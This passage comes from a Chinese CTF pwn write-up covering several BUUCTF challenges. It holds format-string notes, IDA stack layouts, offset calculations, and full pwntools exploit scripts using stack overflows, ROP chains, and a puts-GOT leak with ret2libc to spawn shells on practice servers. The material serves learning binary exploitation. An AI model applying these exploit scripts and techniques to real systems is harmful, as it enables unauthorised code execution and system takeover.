(可以用来获取对应栈的内容,注意有零截断,即如果栈上的字符串中间包含 '\0',输出会在该位置截断)
%n:不会输出任何内容,而是将到目前为止已经输出的字符数量写入到对应的整数指针参数所指向的
内存位置(用于读取前面字符串的长度并写入某个内存地址)
(用了这个格式化说明符后就已经把原来的内容修改为字符数量了,
因此在这题的格式化字符串漏洞中我们输入的密码就是字符数量——把原来从文件里抽取的那个 随机数(已经存放到地址里的)改了,因此我们只要输入字符数量就可以满足下面的if语句)
【在利用格式化字符串漏洞时,攻击者可以利用 %n 来修改栈上的内存内容,
例如修改返回地址,从而实现任意代码执行】
%a$b:表示对栈上第 n 个参数进行 x 对应的格式化操作
【a 是一个整数,表示栈上参数的位置索引(从 1 开始计数),
b是其他的格式化说明符(如x、s、d 等)可以对栈上第n个参数进行相应占位符的操作】
2、测试需要用几个字符
本题中的字长为32位,而一个字节是8位,一个a是一个字节,因此输入几个a就一目了然了
(其他位字长系统同理)
测试方法

代码如下(自己看着来输入,不是一下子全输进去的)
python3
from pwn import *
print(len(p32(0x804C044)))
注:0x804C044是main函数中把抽取的随机数传入的对应地址

也可以双击进去

8、jarvisoj_level2(32位ROP,栈溢出)
题目

做法
开虚拟机,checksec

32位,没开栈保护
扔进IDA(32位),找到main,F5反编译

调用了一个函数vulnerable_function,其他没啥用,点进去

也是没啥用,点进buf看下
完整代码,buf对应第9行buf
-00000088 ; D/A/* : change type (data/ascii/array)
-00000088 ; N : rename
-00000088 ; U : undefine
-00000088 ; Use data definition commands to create local variables and function arguments.
-00000088 ; Two special fields " r" and " s" represent return address and saved registers.
-00000088 ; Frame size: 88; Saved regs: 4; Purge: 0
-00000088 ;
-00000088
-00000088 buf db ?
-00000087 db ? ; undefined
-00000086 db ? ; undefined
-00000085 db ? ; undefined
-00000084 db ? ; undefined
-00000083 db ? ; undefined
-00000082 db ? ; undefined
-00000081 db ? ; undefined
-00000080 db ? ; undefined
-0000007F db ? ; undefined
-0000007E db ? ; undefined
-0000007D db ? ; undefined
-0000007C db ? ; undefined
-0000007B db ? ; undefined
-0000007A db ? ; undefined
-00000079 db ? ; undefined
-00000078 db ? ; undefined
-00000077 db ? ; undefined
-00000076 db ? ; undefined
-00000075 db ? ; undefined
-00000074 db ? ; undefined
-00000073 db ? ; undefined
-00000072 db ? ; undefined
-00000071 db ? ; undefined
-00000070 db ? ; undefined
-0000006F db ? ; undefined
-0000006E db ? ; undefined
-0000006D db ? ; undefined
-0000006C db ? ; undefined
-0000006B db ? ; undefined
-0000006A db ? ; undefined
-00000069 db ? ; undefined
-00000068 db ? ; undefined
-00000067 db ? ; undefined
-00000066 db ? ; undefined
-00000065 db ? ; undefined
-00000064 db ? ; undefined
-00000063 db ? ; undefined
-00000062 db ? ; undefined
-00000061 db ? ; undefined
-00000060 db ? ; undefined
-0000005F db ? ; undefined
-0000005E db ? ; undefined
-0000005D db ? ; undefined
-0000005C db ? ; undefined
-0000005B db ? ; undefined
-0000005A db ? ; undefined
-00000059 db ? ; undefined
-00000058 db ? ; undefined
-00000057 db ? ; undefined
-00000056 db ? ; undefined
-00000055 db ? ; undefined
-00000054 db ? ; undefined
-00000053 db ? ; undefined
-00000052 db ? ; undefined
-00000051 db ? ; undefined
-00000050 db ? ; undefined
-0000004F db ? ; undefined
-0000004E db ? ; undefined
-0000004D db ? ; undefined
-0000004C db ? ; undefined
-0000004B db ? ; undefined
-0000004A db ? ; undefined
-00000049 db ? ; undefined
-00000048 db ? ; undefined
-00000047 db ? ; undefined
-00000046 db ? ; undefined
-00000045 db ? ; undefined
-00000044 db ? ; undefined
-00000043 db ? ; undefined
-00000042 db ? ; undefined
-00000041 db ? ; undefined
-00000040 db ? ; undefined
-0000003F db ? ; undefined
-0000003E db ? ; undefined
-0000003D db ? ; undefined
-0000003C db ? ; undefined
-0000003B db ? ; undefined
-0000003A db ? ; undefined
-00000039 db ? ; undefined
-00000038 db ? ; undefined
-00000037 db ? ; undefined
-00000036 db ? ; undefined
-00000035 db ? ; undefined
-00000034 db ? ; undefined
-00000033 db ? ; undefined
-00000032 db ? ; undefined
-00000031 db ? ; undefined
-00000030 db ? ; undefined
-0000002F db ? ; undefined
-0000002E db ? ; undefined
-0000002D db ? ; undefined
-0000002C db ? ; undefined
-0000002B db ? ; undefined
-0000002A db ? ; undefined
-00000029 db ? ; undefined
-00000028 db ? ; undefined
-00000027 db ? ; undefined
-00000026 db ? ; undefined
-00000025 db ? ; undefined
-00000024 db ? ; undefined
-00000023 db ? ; undefined
-00000022 db ? ; undefined
-00000021 db ? ; undefined
-00000020 db ? ; undefined
-0000001F db ? ; undefined
-0000001E db ? ; undefined
-0000001D db ? ; undefined
-0000001C db ? ; undefined
-0000001B db ? ; undefined
-0000001A db ? ; undefined
-00000019 db ? ; undefined
-00000018 db ? ; undefined
-00000017 db ? ; undefined
-00000016 db ? ; undefined
-00000015 db ? ; undefined
-00000014 db ? ; undefined
-00000013 db ? ; undefined
-00000012 db ? ; undefined
-00000011 db ? ; undefined
-00000010 db ? ; undefined
-0000000F db ? ; undefined
-0000000E db ? ; undefined
-0000000D db ? ; undefined
-0000000C db ? ; undefined
-0000000B db ? ; undefined
-0000000A db ? ; undefined
-00000009 db ? ; undefined
-00000008 db ? ; undefined
-00000007 db ? ; undefined
-00000006 db ? ; undefined
-00000005 db ? ; undefined
-00000004 db ? ; undefined
-00000003 db ? ; undefined
-00000002 db ? ; undefined
-00000001 db ? ; undefined
+00000000 s db 4 dup(?)
+00000004 r db 4 dup(?)
+00000008
+00000008 ; end of stack variables
栈溢出,我们先数一下offset=8* 16+8+4=140
然后我们Shift+F12寻找后门函数

这里有system和/bin/sh
我们点进去看看能不能找到被谁调用了,但是最后空手而归,没能找到后门函数
但是有system(左边函数列表的那个,不是Shift+F12弹出来的字符串)和/bin/sh,我们可以尝试构建ROP链
exp如下(不懂看《补充》)

#导入pwntools模块:
from pwn import *
#和靶机进行连接:
r = remote("node5.buuoj.cn",29044)
#定义 payload
payload = b'a' * 140 + p32(0x8048320) + p32(0) + p32(0x804A024)
#发送payload
r.sendline(payload)
#获取靶机交互式终端:
r.interactive()
常规,得出flag

补充
1
32位中调用system函数时需要传入一个将来的返回地址,这个返回地址随意,但必须要有
(不要写有特殊含义的之类,一般直接填0即可eg. p32(0) )
2
(1)
32位的ROP是system函数在前,bin/sh函数在后,两函数中填入一个将来的返回地址,一般直接填0
(2)
64位的ROP是bin/sh函数在前,system函数在后,两函数之前需要加上该文件的pop rdi地址 (用ROPgadget实现)
9、ciscn_2019_n_8(读懂代码即可)
题目

做法
开虚拟机checksec

32位,保护开了一堆,但是我们先别慌
扔进IDA(32位),找到main,F5反编译

分析一下,就是把var数组中从第 14 个元素(索引为 13)为起始的8字节数据当作一个_QWORD类型的值(通常为 64 位无符号整数)来处理,接着将其和长整型常量17进行比较,若相等,则给权限给咱们
(即,将var[13]赋值为17(8字节),var[13]之前的随便填些字节数据进去即可)
(注:qword全称是Quad Word。2个字节就是1个字(Word)(16位),q就是英文quad-这个词根(意思是4)的首字母,所以它自然是一个Word(2字节) 的四倍,8字节)
exp(仔细看上面这几行分析)

代码如下
#导入pwntools模块:
from pwn import *
#和靶机进行连接:
r = remote("node5.buuoj.cn",29647)
#定义 payload
payload = b'a' * 13 * 4 + p64(17)
#32位是4个字节,64位是8个字节(详看本分类[第五空间2019 决赛]PWN5 1(格式化字符串)的补充2、测试需要用几个字符)
#发送payload
r.sendline(payload)
#获取靶机交互式终端:
r.interactive()
常规,得出flag

10、bjdctf_2020_babystack(栈溢出)
题目

做法
开虚拟机checksec

64位,没开栈保护
扔进IDA(64位),找到main,F5反编译

没啥东西,点进buf看看(同时注意第8行的nbytes,下面要用到)

栈溢出吗?不管了,先数为敬,offset=16-4+8(dq=8)+8-4=24
(注:buf读入的数据长度由我们输入的nbytes来控制,所以这里可以利用它来溢出,
原本的大小为0,没得读,只有我们为其赋值,我们写入的东西才能让他读(第8行和第18行代码))
然后找找后门函数
Shift+F12,看看有啥东西可用

一个system,一个/bin/sh
system点进去没东西
/bin/sh点进去,发现后门函数

exp

代码如下
#导入pwntools模块:
from pwn import *
#和靶机进行连接:
r = remote("node5.buuoj.cn",29658)
#给nbytes赋值(给值相对大点,太小不行,至少给offset和其原本就有的数据预留点位置)
r.sendline('50')
#定义 payload
payload = b'a' * 24 + p64(0x4006E6)
#发送payload
r.sendline(payload)
#获取靶机交互式终端:
r.interactive()
常规,得出flag


11、ciscn_2019_c_1(地址泄露,64位ROP,栈溢出)
题目

做法
开虚拟机checksec

64位,没开栈保护
扔进IDA(64位),找到main,F5反编译

简单查看分析了一下,要让v4=1,进入encrypt函数,当v4=2/3时的函数点进去没东西
下面是encrypt函数的页面

只是因为在人群中多看了你一眼——熟悉的gets函数!栈溢出吗?先点进去数数

5*16+8=88(注:dw是2字节)
然后出来继续分析

我们又看到了一个函数——strlen(strlen的作用是得知字符串的长度,但是遇到’\0‘就会停止)
然后再下面就是把我们输入的东西加密的过程了,但是我们的脚本不能让它加密,加密了我们的脚本也就被破坏了,没用了,所以我们要让它在到strlen函数的时候停止
然后就没啥信息了,Shift+F12看看有啥可利用的

很可惜,我们没有找到有用的东西,怎么办呢
我们可以利用一个程序已经执行过的函数去泄露它在程序中的地址,泄露出system和/bin/sh的地址,看到这俩熟悉的函数,我们自然而然就想到ROP链了(不懂看《补充》1)
这个文件是64位的,因此我们需要利用ROPgadget来得出该文件的pop rdi地址

代码如下
ROPgadget --binary 文件 --only "pop|ret" | grep "rdi"(|后面的是筛选,不要|及后面的内容会弹出很多地址)
另外,我们的exp还要使用ret指令地址解决栈对齐问题,因此,我们在原有的基础上去掉( | grep “rdi”),即可获得其他地址,上面可以当做补充

那么,我们该怎么选这个程序已经执行过的函数呢?可以通过下列条件进行筛选
选择依据
1. 函数的存在性和稳定性
要确保选择的函数在目标程序里是必然存在的,并且在不同的运行环境下(如不同的输入、不同的运行次数)都会被执行。比如标准库函数,它们在大多数程序中都会被链接和使用,像 puts、printf 等。
2. 函数调用的可触发性
该函数的调用要能够被轻易触发,也就是说,你要可以通过控制程序的输入或者执行流程来让这个函数被调用。例如,在存在缓冲区溢出漏洞的程序中,你可以通过构造合适的输入来覆盖返回地址,从而劫持程序流程并调用目标函数。
3. 函数地址的可泄露性
函数的调用要能够以某种方式把自身的地址信息泄露出来。常见的做法是利用格式化字符串漏洞,让函数的返回地址或者 GOT(Global Offset Table,全局偏移表)表项的值被输出到程序的输出中。
4. 函数的关联性
选择的函数最好和程序中的其他关键部分(如 libc 库)有紧密的关联。这样,一旦泄露了这个函数的地址,就可以根据这个地址计算出其他函数或者数据结构在内存中的地址,进而实现进一步的利用。
回到IDA,我们要看的是encrypt函数,因为main函数只是输入123选择进入的函数,没啥作用的,真正起作用的还是encrypt函数,可以自行nc测试一下

这里,我们看到puts函数非常符合上述条件,就决定是你了!!!
最后,我们再nc测试一下,方便我们写exp

至此,我们编写exp(不懂看《补充》2,长一点的我都会放在补充那里,不然脚本看的好乱)
代码如下
#导入所模块
from pwn import*
from LibcSearcher import*
# 设置日志级别为 debug(要测试下面要r.recvline()多少次时可以去掉#观察)
context.log_level = 'debug'
#与靶机连接
r=remote('node5.buuoj.cn',29683)
#获取ELF文件信息
elf=ELF('/home/ljy/Desktop/Desktop/ciscn_2019_c_1' )
#所需地址
main = 0x400B28 #IDA左边函数窗口自行获取
pop_rdi = 0x400c83
ret = 0x4006b9
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
#在大多数处理未开启 PIE 的 ELF 格式可执行文件的漏洞利用脚本中
#使用 elf.plt['puts'] 和 elf.got['puts'] 来
#获取 puts 函数的 PLT 地址和 GOT 地址是固定且通用的写法,但在特殊情况下可能需要进行调整。
#合适位置进入Encrypt函数
r.sendlineafter('Input your choice!\n','1')
#构建payload
payload = b'\0'+b'a'*(5*16+8-1) #减一是因为前面输入了\0,跳出strlen函数
payload+=p64(pop_rdi)
payload+=p64(puts_got)
payload+=p64(puts_plt)
payload+=p64(main)
#合适位置发送payload
r.sendlineafter('Input your Plaintext to be encrypted\n',payload)
#接收无用信息并舍弃
r.recvline()
r.recvline()
#接收puts地址
puts_addr=u64(r.recvuntil('\n')[:-1].ljust(8,b'\0'))
#打印puts函数地址
print(hex(puts_addr))
#使用hex()函数来打印puts_addr,主要是为了以十六进制的格式输出地址,要进制统一
#获取puts的libc地址
libc = LibcSearcher('puts',puts_addr)
#计算偏移值
Offset = puts_addr - libc.dump('puts')
#得出binsh和system的函数地址
binsh = Offset+libc.dump('str_bin_sh')
system = Offset+libc.dump('system')
#合适位置进入Encrypt函数
r.sendlineafter('Input your choice!\n','1')
#构建payload
payload = b'\0'+b'a'*(5*16+8-1)
payload=payload+p64(ret)
payload=payload+p64(pop_rdi)
payload=payload+p64(binsh)
payload=payload+p64(system)
#合适位置发送payload
r.sendlineafter('Input your Plaintext to be encrypted\n',payload)
#与靶机进行交互
r.interactive()
常规,得出flag
(注:这里有0和1供你选择,俩都试试,这里我试的0可以,1不行)


补充
1
(1)
32位的ROP是system函数在前,bin/sh函数在后,两函数中填入一个将来的返回地址,一般直接填0
(2)
64位的ROP是bin/sh函数在前,system函数在后,两函数之前需要加上该文件的pop rdi地址
(用ROPgadget实现)
2
(1)
程序里的函数的地址跟它所使用的libc里的函数地址不一样
程序里函数地址=libc里的函数地址+offset(偏移量)
(2)使用ret指令地址解决栈对齐问题
在 64 位的 x86-64 系统中,调用约定要求栈指针在调用函数时是 16 字节对齐的。这是因为一些 SSE(Streaming SIMD Extensions)指令要求操作数在 16 字节对齐的地址上,为了保证程序的正确性和稳定性,系统在调用函数时会遵循这个规则。
在构造 ROP 链(Return Oriented Programming,面向返回编程)时,有时候栈指针可能不会满足 16 字节对齐的要求。例如,当你在栈上压入一系列的地址来构建 ROP 链时,栈指针可能会偏移到一个非 16 字节对齐的位置。
当你调用像system这样的函数时,如果栈没有正确对齐,可能会导致程序崩溃或者出现未定义行为。因此,在调用system函数之前,插入一个ret指令的地址(ret=0x4006b9)可以调整栈指针,使其满足 16 字节对齐的要求。ret指令会从栈上弹出一个地址并跳转到该地址,同时栈指针会增加 8 字节,这样就有可能使栈指针重新对齐到 16 字节边界。
(3)payload构建原理(第一个和第二个payload原理差不多,自行领会一下)
1.payload += p64(pop_rdi)
**pop_rdi** 的含义:pop_rdi 是一个内存地址,该地址处存储的汇编指令是 pop rdi; ret。在 64 位系统里,函数调用时,第一个参数通常通过 rdi 寄存器传递。pop rdi 指令会从栈顶取出一个值,并将其放入 rdi 寄存器;ret 指令会让程序跳转到栈顶存储的下一个地址继续执行。
**p64()** 函数:p64() 是 pwntools 库中的函数,用于将一个 64 位的整数(即内存地址)转换为 8 字节的字节序列,因为在 64 位系统中地址用 8 字节表示。
这行代码的作用:把 pop rdi; ret 这个 ROP gadget(一段具有特定功能的汇编代码片段)的地址添加到 payload 中。当程序执行到这个地址时,就会执行 pop rdi 指令,为后续传递参数做准备。
2. payload += p64(puts_got)
**puts_got** 的含义:puts_got 是 puts 函数在全局偏移表(GOT)中的地址。GOT 表用于存储程序中调用的外部函数的实际地址,在程序运行时由动态链接器填充。
这行代码的作用:将 puts 函数在 GOT 表中的地址添加到 payload 中。结合上一步,当程序执行到 pop rdi 指令时,会把 puts_got 从栈中取出并放入 rdi 寄存器,这样就为调用 puts 函数设置好了第一个参数。
3. payload += p64(puts_plt)
**puts_plt** 的含义:puts_plt 是 puts 函数在过程链接表(PLT)中的地址。PLT 表是程序用于处理动态链接函数调用的机制。
这行代码的作用:将 puts 函数在 PLT 表中的地址添加到 payload 中。当程序执行到这个地址时,会调用 puts 函数。由于 rdi 寄存器中已经存储了 puts_got 地址,puts 函数会打印出 puts_got 地址所存储的内容,也就是 puts 函数的实际地址,从而实现了 puts 函数实际地址的泄露。
4. payload += p64(main)
**main** 的含义:main 是程序的主函数,程序通常从这里开始执行,并且主函数中可能包含输入输出操作或调用其他函数的逻辑。
这行代码的作用:将 main 函数的地址添加到 payload 中。当 puts 函数执行完毕后,程序会继续执行栈顶存储的地址,也就是 main 函数的地址。这样程序就会返回到 main 函数,我们就可以再次利用程序的输入点,构造新的有效载荷,进行后续的漏洞利用操作,比如计算 system 函数的地址并调用它来获取 shell。
总结
执行 pop rdi,将 puts_got 地址放入 rdi 寄存器。
执行 puts_plt,调用 puts 函数,puts 函数根据 rdi 寄存器中的地址,打印出 puts 函数的实际地址,实现地址泄露。
执行 main,程序返回到 main 函数,等待我们进行下一次输入和攻击。
在 64 位程序中,ROP 链的栈布局通常如下:
| 栈地址 | 值 | 作用 |
| 返回地址 | pop_rdi | 跳转到 pop rdi; ret |
| 下一个值 | puts_got | 被弹出到 rdi 寄存器 |
| 再下一个值 | puts_plt | 跳转到 puts 函数 |
| 再下一个值 | main | 返回到 main 函数 |
3 puts_addr=u64(r.recvuntil(‘\n’)[:-1].ljust(8,b’\0′))
这行代码 puts_addr = u64(r.recvuntil('\n')[:-1].ljust(8, b'\0')) 主要的作用是从网络连接中接收数据,并将其解析为一个 64 位的整数,这个整数通常代表 puts 函数在内存中的实际地址。下面我们来详细拆解这行代码的各个部分:
1. r.recvuntil('\n')
r 通常是 pwntools 中 remote 或 process 对象,代表与目标程序建立的连接(可以是远程网络连接或者本地进程连接)。
recvuntil('\n') 是 pwntools 提供的一个方法,它会持续从连接中接收数据,直到遇到换行符 \n 为止,然后返回接收到的包含换行符的数据。
2. [:-1]
这是 Python 的切片操作。[:-1] 表示取前面接收到的数据除了最后一个字符(即换行符 \n)之外的部分,这样就把换行符从数据中移除了。
3. .ljust(8, b'\0')
ljust 是 Python 字符串或字节对象的方法,用于左对齐字符串或字节序列,并在右侧填充指定的字符或字节。
ljust(8, b'\0') 表示将前面处理后的数据左对齐,并且如果数据长度不足 8 字节,就在右侧用空字节 b'\0' 进行填充,使其长度达到 8 字节。之所以要填充到 8 字节,是因为后续要使用 u64 函数将其解析为 64 位整数,而 64 位整数在内存中占用 8 个字节。
4. u64(...)
u64 是 pwntools 提供的一个函数,用于将一个 8 字节的字节序列解析为一个 64 位的无符号整数。
它会把前面经过处理和填充后得到的 8 字节数据转换为一个 64 位的整数,这个整数就是我们想要获取的 puts 函数在内存中的实际地址。
4 如何看要用多少r.recvline() / 实在不行就一个一个输进去慢慢试要用多少个
结合exp看
这是在exp里输入context.log_level = ‘debug’返回的东西
➜ ~ python3 buuctf
[+] Opening connection to node5.buuoj.cn on port 28002: Done
[*] '/home/ljy/Desktop/Desktop/ciscn_2019_c_1'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
[DEBUG] Received 0x3e bytes:
b'EEEEEEE hh iii '
[DEBUG] Received 0x1d9 bytes:
b'\n'
b'EE mm mm mmmm aa aa cccc hh nn nnn eee \n'
b'EEEEE mmm mm mm aa aaa cc hhhhhh iii nnn nn ee e \n'
b'EE mmm mm mm aa aaa cc hh hh iii nn nn eeeee \n'
b'EEEEEEE mmm mm mm aaa aa ccccc hh hh iii nn nn eeeee \n'
b'====================================================================\n'
b'Welcome to this Encryption machine\n'
b'\n'
b'====================================================================\n'
b'1.Encrypt\n'
b'2.Decrypt\n'
b'3.Exit\n'
b'Input your choice!\n'
[DEBUG] Sent 0x2 bytes:
b'1\n'
[DEBUG] Received 0x24 bytes:
b'Input your Plaintext to be encrypted'
[DEBUG] Received 0x1 bytes:
b'\n'
[DEBUG] Sent 0x79 bytes:
00000000 00 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │·aaa│aaaa│aaaa│aaaa│
00000010 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│
*
00000050 61 61 61 61 61 61 61 61 83 0c 40 00 00 00 00 00 │aaaa│aaaa│··@·│····│
00000060 20 20 60 00 00 00 00 00 e0 06 40 00 00 00 00 00 │ `·│····│··@·│····│
00000070 28 0b 40 00 00 00 00 00 0a │(·@·│····│·│
00000079
[DEBUG] Received 0xa bytes:
b'Ciphertext'
[DEBUG] Received 0x220 bytes:
00000000 0a 0a c0 f9 a1 c9 9b 7f 0a 45 45 45 45 45 45 45 │····│····│·EEE│EEEE│
00000010 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 │ │ │ │ │
00000020 20 20 20 20 20 20 20 20 20 20 20 20 68 68 20 20 │ │ │ │hh │
00000030 20 20 20 20 69 69 69 20 20 20 20 20 20 20 20 20 │ │iii │ │ │
00000040 20 20 20 20 20 20 20 0a 45 45 20 20 20 20 20 20 │ │ ·│EE │ │
00000050 6d 6d 20 6d 6d 20 6d 6d 6d 6d 20 20 20 20 61 61 │mm m│m mm│mm │ aa│
00000060 20 61 61 20 20 20 63 63 63 63 20 68 68 20 20 20 │ aa │ cc│cc h│h │
00000070 20 20 20 20 20 20 20 6e 6e 20 6e 6e 6e 20 20 20 │ │ n│n nn│n │
00000080 20 65 65 65 20 20 0a 45 45 45 45 45 20 20 20 6d │ eee│ ·E│EEEE│ m│
00000090 6d 6d 20 20 6d 6d 20 20 6d 6d 20 20 61 61 20 61 │mm │mm │mm │aa a│
000000a0 61 61 20 63 63 20 20 20 20 20 68 68 68 68 68 68 │aa c│c │ hh│hhhh│
000000b0 20 20 69 69 69 20 6e 6e 6e 20 20 6e 6e 20 65 65 │ ii│i nn│n n│n ee│
000000c0 20 20 20 65 20 0a 45 45 20 20 20 20 20 20 6d 6d │ e│ ·EE│ │ mm│
000000d0 6d 20 20 6d 6d 20 20 6d 6d 20 61 61 20 20 61 61 │m m│m m│m aa│ aa│
000000e0 61 20 63 63 20 20 20 20 20 68 68 20 20 20 68 68 │a cc│ │ hh │ hh│
000000f0 20 69 69 69 20 6e 6e 20 20 20 6e 6e 20 65 65 65 │ iii│ nn │ nn│ eee│
00000100 65 65 20 20 0a 45 45 45 45 45 45 45 20 6d 6d 6d │ee │·EEE│EEEE│ mmm│
00000110 20 20 6d 6d 20 20 6d 6d 20 20 61 61 61 20 61 61 │ mm│ mm│ aa│a aa│
00000120 20 20 63 63 63 63 63 20 68 68 20 20 20 68 68 20 │ cc│ccc │hh │ hh │
00000130 69 69 69 20 6e 6e 20 20 20 6e 6e 20 20 65 65 65 │iii │nn │ nn │ eee│
00000140 65 65 20 0a 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d │ee ·│====│====│====│
00000150 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d │====│====│====│====│
*
00000180 3d 3d 3d 3d 3d 3d 3d 3d 0a 57 65 6c 63 6f 6d 65 │====│====│·Wel│come│
00000190 20 74 6f 20 74 68 69 73 20 45 6e 63 72 79 70 74 │ to │this│ Enc│rypt│
000001a0 69 6f 6e 20 6d 61 63 68 69 6e 65 0a 0a 3d 3d 3d │ion │mach│ine·│·===│
000001b0 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d │====│====│====│====│
*
000001f0 3d 0a 31 2e 45 6e 63 72 79 70 74 0a 32 2e 44 65 │=·1.│Encr│ypt·│2.De│
00000200 63 72 79 70 74 0a 33 2e 45 78 69 74 0a 49 6e 70 │cryp│t·3.│Exit│·Inp│
00000210 75 74 20 79 6f 75 72 20 63 68 6f 69 63 65 21 0a │ut y│our │choi│ce!·│
00000220
接收到的
第一个无用信息是第31行的b’\n’
(但我感觉\n是跟在第29行encrypted之后的,只是它拆开来,参考第25行的b’Input your choice!\n’,按照下面“注”的说法的话我又看不出来什么时候开始处理泄露的got地址,encrypted和\n不看作一起的话就比较容易理解)
第二个无用信息是第41行的b’Ciphertext’
(注:这两个无用信息不确定,也有的人说第一个接收的是b’Ciphertext’,第二个接收的是0a,目 前还是小白不太懂,以后刷题量上去了估计就懂了,还记得的话会回来更新,更新了会在最下 面《更新》写第二个日期并告诉更新内容)
然后才开始处理泄露的got地址
30行以上接收的都是程序给你打印的东西,只要不影响我们接收puts的函数地址就不用管它
12、jarvisoj_level2_x64(64位ROP,栈溢出)
题目

做法
开虚拟机checksec

64位,没开栈保护
扔进IDA(64位),找到main,F5反编译

调用了vulnerable_function函数,其他没啥,点进去看看

还是没啥,点进缓冲区buf看看
完整代码如下,buf对应第9行buf
-0000000000000080 ; D/A/* : change type (data/ascii/array)
-0000000000000080 ; N : rename
-0000000000000080 ; U : undefine
-0000000000000080 ; Use data definition commands to create local variables and function arguments.
-0000000000000080 ; Two special fields " r" and " s" represent return address and saved registers.
-0000000000000080 ; Frame size: 80; Saved regs: 8; Purge: 0
-0000000000000080 ;
-0000000000000080
-0000000000000080 buf db ?
-000000000000007F db ? ; undefined
-000000000000007E db ? ; undefined
-000000000000007D db ? ; undefined
-000000000000007C db ? ; undefined
-000000000000007B db ? ; undefined
-000000000000007A db ? ; undefined
-0000000000000079 db ? ; undefined
-0000000000000078 db ? ; undefined
-0000000000000077 db ? ; undefined
-0000000000000076 db ? ; undefined
-0000000000000075 db ? ; undefined
-0000000000000074 db ? ; undefined
-0000000000000073 db ? ; undefined
-0000000000000072 db ? ; undefined
-0000000000000071 db ? ; undefined
-0000000000000070 db ? ; undefined
-000000000000006F db ? ; undefined
-000000000000006E db ? ; undefined
-000000000000006D db ? ; undefined
-000000000000006C db ? ; undefined
-000000000000006B db ? ; undefined
-000000000000006A db ? ; undefined
-0000000000000069 db ? ; undefined
-0000000000000068 db ? ; undefined
-0000000000000067 db ? ; undefined
-0000000000000066 db ? ; undefined
-0000000000000065 db ? ; undefined
-0000000000000064 db ? ; undefined
-0000000000000063 db ? ; undefined
-0000000000000062 db ? ; undefined
-0000000000000061 db ? ; undefined
-0000000000000060 db ? ; undefined
-000000000000005F db ? ; undefined
-000000000000005E db ? ; undefined
-000000000000005D db ? ; undefined
-000000000000005C db ? ; undefined
-000000000000005B db ? ; undefined
-000000000000005A db ? ; undefined
-0000000000000059 db ? ; undefined
-0000000000000058 db ? ; undefined
-0000000000000057 db ? ; undefined
-0000000000000056 db ? ; undefined
-0000000000000055 db ? ; undefined
-0000000000000054 db ? ; undefined
-0000000000000053 db ? ; undefined
-0000000000000052 db ? ; undefined
-0000000000000051 db ? ; undefined
-0000000000000050 db ? ; undefined
-000000000000004F db ? ; undefined
-000000000000004E db ? ; undefined
-000000000000004D db ? ; undefined
-000000000000004C db ? ; undefined
-000000000000004B db ? ; undefined
-000000000000004A db ? ; undefined
-0000000000000049 db ? ; undefined
-0000000000000048 db ? ; undefined
-0000000000000047 db ? ; undefined
-0000000000000046 db ? ; undefined
-0000000000000045 db ? ; undefined
-0000000000000044 db ? ; undefined
-0000000000000043 db ? ; undefined
-0000000000000042 db ? ; undefined
-0000000000000041 db ? ; undefined
-0000000000000040 db ? ; undefined
-000000000000003F db ? ; undefined
-000000000000003E db ? ; undefined
-000000000000003D db ? ; undefined
-000000000000003C db ? ; undefined
-000000000000003B db ? ; undefined
-000000000000003A db ? ; undefined
-0000000000000039 db ? ; undefined
-0000000000000038 db ? ; undefined
-0000000000000037 db ? ; undefined
-0000000000000036 db ? ; undefined
-0000000000000035 db ? ; undefined
-0000000000000034 db ? ; undefined
-0000000000000033 db ? ; undefined
-0000000000000032 db ? ; undefined
-0000000000000031 db ? ; undefined
-0000000000000030 db ? ; undefined
-000000000000002F db ? ; undefined
-000000000000002E db ? ; undefined
-000000000000002D db ? ; undefined
-000000000000002C db ? ; undefined
-000000000000002B db ? ; undefined
-000000000000002A db ? ; undefined
-0000000000000029 db ? ; undefined
-0000000000000028 db ? ; undefined
-0000000000000027 db ? ; undefined
-0000000000000026 db ? ; undefined
-0000000000000025 db ? ; undefined
-0000000000000024 db ? ; undefined
-0000000000000023 db ? ; undefined
-0000000000000022 db ? ; undefined
-0000000000000021 db ? ; undefined
-0000000000000020 db ? ; undefined
-000000000000001F db ? ; undefined
-000000000000001E db ? ; undefined
-000000000000001D db ? ; undefined
-000000000000001C db ? ; undefined
-000000000000001B db ? ; undefined
-000000000000001A db ? ; undefined
-0000000000000019 db ? ; undefined
-0000000000000018 db ? ; undefined
-0000000000000017 db ? ; undefined
-0000000000000016 db ? ; undefined
-0000000000000015 db ? ; undefined
-0000000000000014 db ? ; undefined
-0000000000000013 db ? ; undefined
-0000000000000012 db ? ; undefined
-0000000000000011 db ? ; undefined
-0000000000000010 db ? ; undefined
-000000000000000F db ? ; undefined
-000000000000000E db ? ; undefined
-000000000000000D db ? ; undefined
-000000000000000C db ? ; undefined
-000000000000000B db ? ; undefined
-000000000000000A db ? ; undefined
-0000000000000009 db ? ; undefined
-0000000000000008 db ? ; undefined
-0000000000000007 db ? ; undefined
-0000000000000006 db ? ; undefined
-0000000000000005 db ? ; undefined
-0000000000000004 db ? ; undefined
-0000000000000003 db ? ; undefined
-0000000000000002 db ? ; undefined
-0000000000000001 db ? ; undefined
+0000000000000000 s db 8 dup(?)
+0000000000000008 r db 8 dup(?)
+0000000000000010
+0000000000000010 ; end of stack variables
栈溢出吗?先数一下吧,offset=8* 16+8=136
然后按Shift+F12找后门函数

找到一个system,一个/bin/sh,但是点进去没啥东西的
但是,有/bin/sh,然后我们再看到左边函数窗口有plt地址的system,我们瞬间想到可以用ROP来解这道题(不懂的看下面的《补充》)
然后因为这个文件是64位的,我们还需用ROPgadget来查询该文件的pop rdi地址

ROPgadget --binary 文件 --only "pop|ret" | grep "rdi"(|后面的是筛选,不要|及后面的内容会弹出很多地址)
我们就开始编写exp

代码如下
# 导入所需模块
from pwn import *
#与靶机连接
r = remote("node5.buuoj.cn",29666)
#构建payload
payload = b'a' * 136 + p64(0x4006b3) + p64(0x600A90) + p64(0x4004C0)
#发送payload
r.sendline(payload)
#与靶机进行交互
r.interactive()
常规,得出flag

补充
(1)
